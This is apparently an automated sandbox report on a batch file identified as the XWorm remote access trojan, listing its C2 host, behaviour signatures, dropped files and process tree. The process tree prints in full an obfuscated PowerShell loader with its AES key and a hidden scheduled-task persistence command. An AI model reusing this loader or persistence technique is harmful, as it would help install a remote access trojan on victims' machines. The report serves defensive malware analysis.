Analysis

  • max time kernel
    142s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/06/2024, 09:09

General

  • Target
    Sahara.bat
  • Size 304KB
  • Sample240607-k4fz2afa92
  • SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • politics-cathedral.gl.at.ply.gg:13199

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_904_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_904.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4228
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_904.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_904.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_904.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_904.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4056
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004EC
    1⤵
      PID:992

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 acc79cc65eaea62a945398adad81cb5615e1480fa659c904aa5cd450165c3d66
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_iw05vcji.z35.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iw05vcji.z35.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          startup_str_904.bat

          • Path C:\Users\Admin\AppData\Roaming\startup_str_904.bat
          • Size 304KB
          • SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
          • MD5 SHA1 SHA512 SSDEEP

          startup_str_904.vbs

          • Path C:\Users\Admin\AppData\Roaming\startup_str_904.vbs
          • Size 115B
          • SHA256 b3c6ac2d793bd59d2aec2a03726ae90898e2a15d5c0d87cddd81416363a07828
          • MD5 SHA1 SHA512

          memory/2188-49-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/2188-11-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/2188-14-0x000002CC55B10000-0x000002CC55B4C000-memory.dmp

          memory/2188-13-0x000002CC55890000-0x000002CC55898000-memory.dmp

          memory/2188-50-0x00007FFDA2C73000-0x00007FFDA2C75000-memory.dmp

          memory/2188-0-0x00007FFDA2C73000-0x00007FFDA2C75000-memory.dmp

          memory/2188-1-0x000002CC558A0000-0x000002CC558C2000-memory.dmp

          memory/2188-10-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/2188-12-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/4056-56-0x0000023EF9A10000-0x0000023EF9A1B000-memory.dmp

          memory/4056-48-0x0000023EF95F0000-0x0000023EF960A000-memory.dmp

          memory/4056-51-0x0000023EF9930000-0x0000023EF99BE000-memory.dmp

          memory/4056-55-0x0000023EF9900000-0x0000023EF991E000-memory.dmp

          memory/4056-52-0x0000023EF99C0000-0x0000023EF9A06000-memory.dmp

          memory/4056-54-0x0000023EF98F0000-0x0000023EF98FD000-memory.dmp

          memory/4056-53-0x0000023EE1050000-0x0000023EE1059000-memory.dmp

          memory/4228-30-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/4228-27-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/4228-26-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/4228-25-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

          memory/4228-24-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp